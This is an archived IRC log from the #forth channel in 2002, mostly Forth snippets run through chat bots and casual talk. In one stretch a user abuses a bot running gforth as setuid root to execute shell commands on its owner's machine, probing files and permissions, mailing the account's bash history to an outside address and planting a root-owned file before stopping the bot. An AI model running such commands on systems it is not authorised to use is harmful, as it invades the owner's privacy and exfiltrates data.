topic? ;) 14:37:48 futhin: look at my forth skills: 14:37:54 sif: : pow 1 swap 0 do over * loop ; : a 7 1 do 3 i pow 7 mod . loop ; a 14:37:55 rob_ert: 3 2 6 4 5 1 14:37:57 :D 14:38:10 3^n (mod 7) :) 14:38:18 for n = 1 to 6 14:38:24 sif: 1 @ . 14:38:25 tcn: 1 14:38:44 sif: 0 0 ! 0 @ . 14:38:45 rob_ert: 0 14:39:02 sif: : a 203943 r> ; a 14:39:03 tcn: 14:39:07 futhin: Isn't it beauuuutiful? :D 14:39:18 sif: still alive? 14:39:19 tcn: Word not found: still 14:39:27 heh 14:40:53 sif: 14:40:54 rob_ert: 14:40:56 er 14:41:05 .oO( oops... ) 14:44:26 sif: 5 for '. emit next ; 14:44:27 tcn: Word not found: for 14:49:16 sif: : pow 1 swap 0 do over * loop swap drop ; : group dup 1 do over i pow over mod . loop drop ; 3 17 group 14:49:17 rob_ert: 3 9 10 13 5 15 11 16 14 8 5 13 5 15 9 8 14:49:31 sif: : pow 1 swap 0 do over * loop swap drop ; : group dup 1 do over i pow over mod . loop drop ; 3 11 group 14:49:33 rob_ert: 3 9 5 4 1 3 9 5 4 1 14:49:37 --- quit: Soap` (Read error: 104 (Connection reset by peer)) 14:49:40 sif: : pow 1 swap 0 do over * loop swap drop ; : group dup 1 do over i pow over mod . loop drop ; 2 7 group 14:49:41 rob_ert: 2 4 1 2 4 1 14:49:48 sif: : pow 1 swap 0 do over * loop swap drop ; : group dup 1 do over i pow over mod . loop drop ; 3 5 group 14:49:49 rob_ert: 3 4 2 1 14:49:57 Hrm, finally. 14:51:59 --- part: redoz left #forth 14:53:33 --- join: Soap` (flop@210-86-40-73.dialup.xtra.co.nz) joined #forth 14:55:23 --- join: XeF4 (~xef4@dsl-XIV-203.kotikaista.weppi.fi) joined #forth 15:02:47 :) 15:03:11 joa :) 15:15:18 --- join: herkamire (~jason@ip68-9-58-81.ri.ri.cox.net) joined #forth 15:15:46 Hey herk 15:15:52 hey :) 15:16:32 sif: : pow 1 swap 0 do over * loop swap drop ; : group dup 1 do over i pow over mod . loop drop drop ; 3 5 group 15:16:33 rob_ert: 3 4 2 1 15:16:36 * rob_ert is proud of that :D 15:18:09 1 0 pow \ oho 15:18:18 ? 15:18:34 what does it do? 15:18:40 error ;D 15:18:44 I tried in gforth now 15:18:44 hehe 15:18:54 Damn...100% cpu usage 15:18:56 robert: ?do is your firend. 15:19:02 friend 15:19:13 --- join: topaz (~k@a161161.upc-a.chello.nl) joined #forth 15:19:16 Hoi 15:19:28 --- nick: topaz -> Speuler 15:19:36 Speuler :D 15:19:38 goed avond 15:20:09 g'd day all 15:21:20 --- quit: rob_ert ("(:") 16:16:14 i'll be in #forthos if anyone comes looking for me :) 16:16:17 --- part: tcn left #forth 16:26:28 --- join: I440r (~mark4@1Cust101.tnt3.bloomington.in.da.uu.net) joined #forth 16:26:37 eep! 16:26:56 miip 16:27:09 i440r! tcn is on #forthos :) 16:27:13 who is gforth ? heh 16:27:20 i just messaged him :) 16:27:23 gforth is the forth bot onetom is working on 16:27:28 4th: 2 3 + . 16:27:30 futhin: 5 16:27:38 aha :) 16:27:53 he used tcl to connect gforth to here 16:27:58 i think 16:28:35 lol 16:39:07 --- join: tathi (~tathi@ip68-9-58-81.ri.ri.cox.net) joined #forth 17:17:31 --- nick: futhin -> fire 17:20:04 --- nick: fire -> futhin 18:04:09 --- quit: davidw (Read error: 113 (No route to host)) 18:07:53 --- quit: I440r ("Reality Strikes Again") 18:21:48 --- quit: futhin ("bbl") 19:05:18 --- join: futhin (thin@h24-64-174-2.cg.shawcable.net) joined #forth 19:09:10 4th: 5 0 [do] [i] . [loop] 19:09:11 Speuler: 0 1 2 3 4 19:10:26 4th: words 19:10:27 Speuler: disasm disassembler base-addr show-name default-32bit default-16bit 19:10:27 Speuler: default-16bit? col w@ (D.) MAXCOUNTED SPCS SPCS-MAX maxstring 19:10:27 Speuler: end-code ;code (;code) code init-asm assembler print-backtrace 19:10:27 Speuler: backtrace-return-stack init-backtrace backtrace-rs-buffer adjust-buffer 19:10:28 Speuler: init-buffer buffer% buffer-maxlength buffer-address buffer-length 19:10:30 Speuler: buffer-descriptor ekey? esc? ekey>char ekey clear-ekey-buffer 19:10:32 Speuler: esc-sequence esc-prefix #esc ekey-buffered ekey-buffer esc-sequences 19:10:34 Speuler: unkeys unkey char-append-buffer key-buffered key-buffer k12 k11 k10 19:10:36 Speuler: k9 k8 k7 k6 k5 k4 k3 k2 k1 k-insert k-end k-home k-down k-up 19:11:42 4th: char . emit 19:11:43 Speuler: . 19:13:09 4th: s" df" system 19:13:10 Speuler: Filesystem 1k-blocks Used Available Use% Mounted on 19:13:11 Speuler: /dev/hda1 1007960 755908 200848 79% / 19:13:11 Speuler: /dev/hda2 4031560 1745480 2081280 46% /usr 19:13:11 Speuler: /dev/hda3 33267096 31437784 139428 100% /home 19:13:45 4th: s" ps ax" system 19:13:46 Speuler: This /bin/ps is not secure for setuid operation. 19:14:04 4th: s" w" system 19:14:06 Speuler: 4:14am up 2 days, 14:26, 5 users, load average: 0.17, 0.14, 0.10 19:14:07 Speuler: USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT 19:14:07 Speuler: guest pts/12 ex.x Tue 2pm 2days 0.40s 0.23s sh forth/fsock/ 19:14:07 Speuler: guest pts/13 ex.x Tue 2pm 5:14m 17.87s 0.36s mc user_web/ 19:14:07 Speuler: ha pts/18 lap:0.0 Wed 8pm 4:07m 26.89s ? - 19:14:08 Speuler: tom pts/20 ht2.x Thu12am 9:55m 0.04s 0.04s -bash 19:19:15 --- join: Soap- (flop@210-54-75-77.dialup.xtra.co.nz) joined #forth 19:19:50 4th: s" cat /proc/cpuinfo" system 19:19:51 Speuler: processor : 0 19:19:52 Speuler: vendor_id : GenuineIntel 19:19:52 Speuler: cpu family : 6 19:19:52 Speuler: model : 6 19:19:52 Speuler: model name : Celeron (Mendocino) 19:19:54 Speuler: stepping : 5 19:19:56 Speuler: cpu MHz : 501.152 19:19:58 Speuler: cache size : 128 KB 19:20:00 Speuler: fdiv_bug : no 19:20:02 Speuler: hlt_bug : no 19:20:44 4th: s" locate ping6" system 19:20:47 Speuler: /bin/ping6 19:20:47 Speuler: /var/tftpboot/10.1.1.101/mnt/bin/ping6 19:20:47 Speuler: /var/tftpboot/Template/bin/ping6 19:22:22 4th: s" which gcc" system 19:22:23 Speuler: /usr/bin/gcc 19:23:06 4th: s" cat /etc/issue" system 19:23:08 Speuler:  19:23:08 Speuler:  19:23:08 Speuler:    19:23:08 Speuler:   DDDDEEEEEEBBBBIIIIIIAAAANNNN 19:23:09 Speuler:     DDDDEEBBBBIIAAAANNNNN 19:23:11 Speuler:     DDDDEEEEEBBBBBIIAAAAAANNNNNN 19:23:13 Speuler:    DDDDEEBBBBIIAAAANNNNNN 19:23:16 Speuler:  `----' DDDDEEEEEEBBBBBIIIIIIAAAANNNN 19:23:19 Speuler:       19:23:21 Speuler:    Linux Version 2.2.19-ide 19:23:35 4th: s" cat /etc/motd" system 19:23:36 Speuler: Linux ex 2.2.19-ide #1 Wed Mar 20 20:06:41 EST 2002 i686 unknown 19:23:36 Speuler: Most of the programs included with the Debian GNU/Linux system are 19:23:36 Speuler: freely redistributable; the exact distribution terms for each program 19:23:36 Speuler: are described in the individual files in /usr/doc/*/copyright 19:23:37 Speuler: Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent 19:23:39 Speuler: permitted by applicable law. 19:25:57 4th: s" ls -l /proc/self" system 19:25:59 Speuler: lrwxrwxrwx 1 root root 64 ÁPR 26 04:26 /proc/self -> 28082 19:27:18 4th: s" ls -l /proc/self/" system 19:27:19 Speuler: total 0 19:27:19 Speuler: -r--r--r-- 1 root root 0 ÁPR 26 04:27 cmdline 19:27:19 Speuler: lrwx------ 1 root root 0 ÁPR 26 04:27 cwd -> /home/guest/www 19:27:19 Speuler: -r-------- 1 root root 0 ÁPR 26 04:27 environ 19:27:19 Speuler: lrwx------ 1 root root 0 ÁPR 26 04:27 exe -> /bin/ls 19:27:21 Speuler: dr-x------ 2 root root 0 ÁPR 26 04:27 fd 19:27:23 Speuler: pr--r--r-- 1 root root 0 ÁPR 26 04:27 maps 19:27:25 Speuler: -rw------- 1 root root 0 ÁPR 26 04:27 mem 19:27:27 Speuler: lrwx------ 1 root root 0 ÁPR 26 04:27 root -> / 19:27:29 Speuler: -r--r--r-- 1 root root 0 ÁPR 26 04:27 stat 19:28:41 4th: s" ls -l ~" system 19:28:42 Speuler: total 48 19:28:42 Speuler: -rw-r----- 1 guest guest 29184 SZE 16 2001 HELLO.doc 19:28:42 Speuler: drwx--S--- 2 guest guest 4096 OKT 12 2001 Mail 19:28:42 Speuler: drwxr-s--- 3 guest guest 4096 FEB 11 00:41 pdf 19:28:43 Speuler: drwxr-sr-x 2 guest guest 4096 DEC 5 22:52 the bat crack 19:28:45 Speuler: drwxr-sr-x 6 guest guest 4096 ÁPR 26 04:00 www 19:29:08 4th: s" file HELLO.doc" system 19:29:10 Speuler: HELLO.doc: can't stat `HELLO.doc' (No such file or directory). 19:29:22 4th: s" file ~/HELLO.doc" system 19:29:23 Speuler: /home/guest/HELLO.doc: Microsoft Word document data 19:29:56 4th: s" file ~/*" system 19:29:57 Speuler: /home/guest/HELLO.doc: Microsoft Word document data 19:29:57 Speuler: /home/guest/Mail: setgid directory 19:29:57 Speuler: /home/guest/pdf: setgid directory 19:29:57 Speuler: /home/guest/the bat crack: setgid directory 19:29:58 Speuler: /home/guest/www: setgid directory 19:30:53 --- quit: Soap` (Read error: 110 (Connection timed out)) 19:31:08 4th: s" echo hi tom nice bot | mail tom -s greetings" system 19:31:59 hmm, maybe that'll teach him not to run gforth setuid root and then hook it up to a public irc channel :) 19:32:02 4th: s" ls -l /var/spool/mail" system 19:32:03 Speuler: lrwxrwxrwx 1 root root 7 OKT 11 2001 /var/spool/mail -> ../mail 19:32:12 4th: s" ls -l /var/spool/mail/" system 19:32:13 Speuler: total 324 19:32:13 Speuler: -rw-rw---- 1 guest mail 2148 DEC 3 00:12 guest 19:32:13 Speuler: -rw-rw---- 1 gutyka mail 7391 JAN 13 02:18 gutyka 19:32:13 Speuler: -rw-rw---- 1 lac mail 0 JAN 25 23:56 lac 19:32:13 Speuler: -rw-rw---- 1 root mail 308972 ÁPR 26 04:00 root 19:32:15 Speuler: -rw-rw---- 1 szex mail 0 MÁR 20 10:44 szex 19:32:17 Speuler: -rw-rw---- 1 tom mail 417 ÁPR 26 04:31 tom 19:33:18 4th: s" cat ~/.bash_history | wc" system 19:33:20 Speuler: 500 1061 6617 19:33:31 --- quit: XeF4 ("pois") 19:35:32 4th: s" cat ~/.bash_history | mail Speuler@nosyguy.internetcafe.wox.org" system 19:36:15 4th: s" cat ~/.bash_history | mail Speuler@internetcafe.wox.org" system 19:38:18 4th s" l -al ~guest" system 19:38:22 4th: s" l -al ~guest" system 19:38:23 herkamire: sh: l: command not found 19:38:29 4th: s" ls -al ~guest" system 19:38:30 herkamire: total 136 19:38:30 herkamire: drwxr-sr-x 15 guest guest 4096 ÁPR 26 00:31 . 19:38:30 herkamire: drwxr-xr-x 20 root root 4096 JAN 13 00:30 .. 19:38:30 herkamire: drwx--S--- 2 guest guest 4096 ÁPR 16 21:55 .BitchX 19:38:30 herkamire: -rw------- 1 guest guest 98 FEB 8 14:33 .Xauthority 19:38:32 herkamire: -rw------- 1 guest guest 6617 ÁPR 26 00:32 .bash_history 19:38:34 herkamire: -rw-r--r-- 1 guest guest 174 AUG 8 2001 .bash_logout 19:38:36 herkamire: -rw-r--r-- 1 guest guest 373 AUG 8 2001 .bash_profile 19:38:38 herkamire: -rw-r--r-- 1 guest guest 339 MÁR 15 02:49 .bashrc 19:38:40 herkamire: drwx--S--- 2 guest guest 4096 SZE 18 2001 .cedit 19:38:58 4th: s" ls ~guest" system 19:38:59 herkamire: HELLO.doc 19:39:00 herkamire: Mail 19:39:00 herkamire: pdf 19:39:00 herkamire: the bat crack 19:39:00 herkamire: www 19:39:44 4th: s" cat ~guest/the\ bat\ crack" system 19:39:45 herkamire: cat: /home/guest/the bat crack: Is a directory 19:40:01 4th: s" ls ~guest/the\ bat\ crack" system 19:40:03 herkamire: The_Bat!_1.53d_by_Damn.zip 19:41:54 4th: s" ls -l /etc/shad*" system 19:41:55 Speuler: -rw-r----- 1 root shadow 1278 FEB 7 17:50 /etc/shadow 19:41:55 Speuler: -rw------- 1 root root 1238 OKT 20 2001 /etc/shadow- 19:41:55 Speuler: -rw-r----- 1 root shadow 1238 OKT 20 2001 /etc/shadow.OLD 19:42:54 4th: s" dpkg -l modutils" system 19:42:58 Speuler: Desired=Unknown/Install/Remove/Purge/Hold 19:42:58 Speuler: | Status=Not/Installed/Config-files/Unpacked/Failed-config/Half-installed 19:42:58 Speuler: |/ Err?=(none)/Hold/Reinst-required/X=both-problems (Status,Err: uppercase=bad) 19:42:58 Speuler: ||/ Name Version Description 19:42:58 Speuler: +++-==============-==============-============================================ 19:42:59 Speuler: ii modutils 2.3.11-13.1 Linux module utilities. 19:43:45 speuler: be careful.. 19:45:06 because of what i did, or what you expect me to do ? (t'is debian, figure it's save, so i don't try ...) 19:45:24 onetom gave root access to gforth 19:45:42 ah. 19:45:48 and has many important things in the guest account 19:45:55 no need to try gain it then :) 19:46:07 heh :) 19:47:17 you emailed yourself the bash history? 19:47:29 how would that help u gain root? :P 19:47:31 of the bot home dir, yes 19:48:33 probably wouldn't. 19:48:41 heh 19:51:43 actually, i'm not interested in rooting the box. 19:52:04 more in looking of whether there'd be something simple to do that 19:53:29 Speuler: yeah: 4th s" ..." system :) 19:54:29 4th: s" touch /FBI-observed\ machine ; ls /FB* -l" system 19:54:30 Speuler: -rw-r--r-- 1 root root 0 ÁPR 26 04:54 /FBI-observed machine 19:54:48 you're right 19:55:15 lol 19:55:21 as you may have noticed, onetom isn't the most security-conscious person in the world 19:57:55 4th: s" chattr +i /FBI-observed\ machine" system 19:58:50 and now ? 19:59:14 who's going to take care of the machine ? 19:59:56 better to bye the bot ? 20:01:01 i'm not going to decide that alone. 20:02:01 4th: s" ps -ax | grep bot" system 20:02:02 herkamire: This /bin/ps is not secure for setuid operation. 20:02:05 but would it be my system, i'd have appreciated if somebody shut down the bot 20:02:16 --- join: gilbertbsd (~gilbert@max2-125.dacor.net) joined #forth 20:02:43 Speuler: you would never have hooked something like that to a chat room... 20:02:55 if there's no "no" coming soon, i'll try to shut it down 20:02:58 Speuler: probobly not even if it wasn't setuid root. 20:03:08 hello 20:03:09 Speuler: go for it 20:03:15 hey gilbertbsd 20:03:22 4th: bye 20:03:37 4th: 5 . 20:03:38 Speuler: 5 20:04:00 I think he's running gforth for each request. you'll have to kill the bot not gforth 20:04:09 4th: : xxx begin key drop again ; xxx 20:04:16 hey is that _the_ gforth? 20:04:23 4th: 5 . 20:04:24 gforth: .( Hello ) 20:04:35 4th: 6 . 20:04:57 gilbertbsd: it's a bot that runs forth code for you. unfortunately it gives root access to onetom's computer 20:05:13 how does it give root access? 20:05:30 gilbertbsd: that's how onetom set it up. 20:05:39 gilbertbsd: try my bot: 20:05:46 sif: 9 8 + . 20:05:47 herkamire: 17 20:05:57 sif: .( are you gforth ) 20:05:58 gilbertbsd: are you gforth 20:06:03 No I am gilbert. 20:06:05 ;) 20:07:20 sif is the forth I just wrote in C. The bot I made with a shell script and a couple tiny C programs (to handle io securely) 20:07:21 but herkamire how does gforth give one root access? 20:07:33 gilbertbsd: onetom has it setuid root 20:07:41 oh I see. 20:08:22 4th: s" pstree" system 20:08:28 herkamire: have you heard of the 3 instruction 4th ? 20:09:14 wow! 20:09:23 oh. 20:09:29 you got it already 20:09:30 missed that 20:09:40 I didn't know about s" pstree" system 20:10:12 gforth lets you pass a string to the shell 20:13:59 does anyone here know of the 3 instruction forth? 20:15:11 no, what is it? 20:15:26 I saw it on google. 20:15:42 it has XC! ; XC@ and XCCall or something like that . 20:15:44 lemme see. 20:16:27 The 3 instructions are 20:16:27 XC@ fetch a byte 20:16:27 XC! store a byte 20:16:27 XCALL jump to a subroutine 20:16:59 that's about as useful as tits on a bull 20:17:19 it was an article by F. Sargent (sp?) 20:17:39 heh, I'm one of his fans 20:19:14 yeah, looks pretty pointless to me :) 20:19:17 is there a way via gforth to talk to my graphics card? 20:19:22 eg to make it draw lines etc. 20:19:26 yes 20:19:35 tathi: he had a reason or something or other for writing that. 20:19:40 load one of the graphics libraries and use its API 20:20:12 it's a way big nuisance to learn the hardware of a single card and code for it 20:20:44 how did the second person learn forth? 20:24:55 4th: ls 20:26:28 gilbertbsd: what second person 20:26:53 Mr. Moore did not learn forth, but the second person to program in forth had to learn it. 20:26:55 Elisabeth Rather? 20:26:59 How did the second person learn it? 20:27:12 she worked with him at Kitt Peak while he wrote it 20:27:22 oh really? 20:33:15 --- quit: gilbertbsd ("xchat exiting..") 20:34:02 heh 20:34:10 it's slow tonight isn't it? 20:34:33 I'm writing like crazy, as a matter of fact ... just not here 20:34:59 writing what 20:35:40 documentation about bot commands 20:35:50 heh 20:35:54 although right now I'm playing with HTML tables to make it look pretty 20:35:58 document first, code second? :) 20:36:05 yes, definately 20:36:44 it's during the documentation phase that you discover things that are silly or foolish from the user's point of view 20:37:18 do you do any of the extreme programming methodology? 20:37:36 yes, somewhat 20:37:48 but I have probs modularizing things that much 20:39:18 right now I'm mostly concerned about "feature bloat" 20:39:39 which tends to make bot commands hideously complex or non-intuitive 20:41:15 "downloading message 3 of 187" 20:46:38 or? 20:47:08 ok, AND non-intuitive 20:47:47 --- join: goshawk` (goshawk@goshawk.dialup.access.net) joined #forth 20:47:49 I kinda like the idea of documenting first. 20:48:01 does the Extreeme Programming thing say to do that? 20:49:48 no idea, the people who did the webpages extremeprogramming.org and xprogramming.com were snorting crack when they developed the websites 20:51:01 heh 20:51:56 thinking about the websites is getting me seriously pissed off here :) 20:52:57 why is that? 20:54:16 --- quit: futhin ("bbl") 20:59:48 --- quit: Speuler (carter.openprojects.net irc.openprojects.net) 21:00:02 --- join: Speuler (~k@a161161.upc-a.chello.nl) joined #forth 21:00:23 --- quit: Speuler (carter.openprojects.net irc.openprojects.net) 21:00:27 --- join: Speuler (~k@a161161.upc-a.chello.nl) joined #forth 21:02:25 --- quit: ChanServ (carter.openprojects.net irc.openprojects.net) 21:02:48 --- join: ChanServ (ChanServ@services.) joined #forth 21:02:48 --- mode: carter.openprojects.net set +o ChanServ 21:06:25 --- quit: goshawk` (".") 21:18:38 --- quit: herkamire ("Client Exiting") 21:20:10 --- quit: tathi ("Client Exiting") 22:23:08 --- quit: sif (Read error: 110 (Connection timed out)) 23:51:36 --- join: qless (cerb@clgr000977.hs.telusplanet.net) joined #forth 23:54:09 anybody alive? 23:54:42 Brains.... braaaiiinss.... 23:54:58 hehe. not likely :-) 23:55:25 * qless cocks his shotgun 23:55:33 "Take that you ungrateful undead!!!" 23:55:39 [***BLAM***] 23:55:40 [***BLAM***] 23:56:45 Generally it's the confident characters who die horribly in the last 1/3rd of the zombie flick :P 23:56:56 --- nick: MrGone -> MrReach 23:57:10 yes, overconfidence is sometimes fatal 23:57:29 Which is why the confident characters almost always carry automatic weapons 23:57:42 heh, or vice versa 23:57:51 * qless looks around 23:57:59 who said that? 23:58:14 heh, I'm using my normal nick 23:59:09 i'm hopeing you're not a zombie MrBeach... 23:59:28 * qless zips on his spacesuit 23:59:35 * qless hovers his hand on the airlock switch 23:59:38 not yet ... give me another couple of hours. 23:59:59 --- log: ended forth/02.04.25